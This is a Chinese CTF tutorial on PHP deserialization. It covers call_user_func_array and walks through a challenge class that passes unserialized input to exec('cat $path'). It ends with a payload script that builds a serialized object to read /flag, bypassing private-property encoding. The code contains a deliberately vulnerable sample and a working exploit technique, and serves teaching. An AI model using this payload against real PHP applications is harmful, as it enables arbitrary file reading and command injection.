PHP反序列化5(回调函数call_user_func_array)

考点5:回调函数call_user_func_array

<aside> 💡

call_user_func_array()函数介绍

</aside>

说明:call_user_func_array ( callable callback , array param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

注意:

call_user_func_array 与 call_user_func 这两个函数基本上是类似的,只是在调用上传递参数时存在一些差异。

**函数call_user_func_array 传递的第二个参数必须是数组;

函数call_user_func 传递的第二个参数可能是数组,如果是多个参数的话,还是需要以列表的形式列出。

call_user_func ( callback function \[,mixed parameter [, mixed $...]] )**

<aside> 💡

使用案例

</aside>

复制代码
**1)普通使用:

           function a($b, $c) {  

                echo $b; 

                echo $c; 

           } 

          call_user_func_array('a', array("111", "222")); 

          //输出 111 222
2)调用类内部的方法:

         Class ClassA { 

                 function bc($b, $c) { 

                  $bc = $b + $c; 

                  echo $bc; 

                 } 

            } 

          call_user_func_array(array('ClassA','bc'), array("111", "222")); 

          //输出  333 

3)支持引用传递:

          function a(&$b) { 

              $b++; 

          } 

          $c = 1; 

          call_user_func_array('a', array(&$c)); 

          echo $c;  //输出 2** 

<aside> 💡

C T F例题

</aside>

复制代码
<?php
class home
{
    private $method;
    private $args;
    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct()
    {
        if (in_array($this->method, array("mysys"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function mysys($path)
    {
        print_r(base64_encode(exec("cat $path")));
    }
    function waf($str)
    {
        if (strlen($str) > 8) {
            die("No");
        }
        return $str;
    }

    function __wakeup()
    {
        $num = 0;
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
            $num += 1;
            if ($num > 2) {
                die("No");
            }
        }
    }
}

if ($_GET['path']) {
    $path = @$_GET['path'];
    unserialize($path);
} else {
    highlight_file(__FILE__);

}
?>

代码分析:

  • 传入字符串,然后直接unserialize字符串
  • 反序列化字符串后,自动触发wakeup方法,wakeup方法调用了waf方法。分析过后对我们没什么限制
  • 我们需要的是进入mysys方法,让他触发exec,然后将path变成flag就可以读取flag

答案思路:

  • 所以当我们控制$this->method为mysys就可以调用mysys方法。
  • 再控制$this->args为flag就可以把flag当成函数的参数传入(注意此时回调参数需要数组的形式)
  • 同时这里也使用了私有属性,按照unserialize4考点就可以绕过。

<aside> 💡

payload:

</aside>

复制代码
<?php
class home
{
    private $method='mysys';
    private $args=['/flag'];
    
}
$o=new home();
$payload=serialize($o);
$payload=str_replace(chr(0), '\\00', $payload);
$payload=str_replace('s:','S:', $payload);
echo($payload);
?>
相关推荐
ShineWinsu1 小时前
对于C++:继承的解析—上
开发语言·数据结构·c++·算法·面试·笔试·继承
小付同学呀1 小时前
C语言学习(五)——输入/输出
c语言·开发语言·学习
王码码20351 小时前
Flutter for OpenHarmony: Flutter 三方库 cryptography 在鸿蒙上实现金融级现代加解密(高性能安全库)
android·安全·flutter·华为·金融·harmonyos
梦幻精灵_cq2 小时前
学C之路:不可或缺的main()主函数框架(Learn-C 1st)
c语言·开发语言
消失的旧时光-19432 小时前
C++ 多线程与并发系统取向(二)—— 资源保护:std::mutex 与 RAII(类比 Java synchronized)
java·开发语言·c++·并发
亚历克斯神3 小时前
Flutter for OpenHarmony:Flutter 三方库 yaml_edit 精准修改 YAML 文件内容(保留注释与格式的编辑神器)
android·flutter·华为·harmonyos
左手厨刀右手茼蒿3 小时前
Flutter for OpenHarmony: Flutter 三方库 image_size_getter 零加载极速获取图片尺寸(鸿蒙 UI 布局优化必备)
android·服务器·flutter·ui·华为·harmonyos
亚历克斯神3 小时前
Flutter for OpenHarmony:zxing2 纯 Dart 条码扫描与生成库(不仅是扫码,更是编解码引擎) 深度解析与鸿蒙适配指南
android·flutter·华为·harmonyos
钛态3 小时前
Flutter for OpenHarmony:dio_cookie_manager 让 Dio 发挥会话管理能力,像浏览器一样自动处理 Cookie 深度解析与鸿蒙适配指南
android·linux·运维·flutter·ui·华为·harmonyos
键盘鼓手苏苏3 小时前
Flutter for OpenHarmony: Flutter 三方库 ntp 精准同步鸿蒙设备系统时间(分布式协同授时利器)
android·分布式·算法·flutter·华为·中间件·harmonyos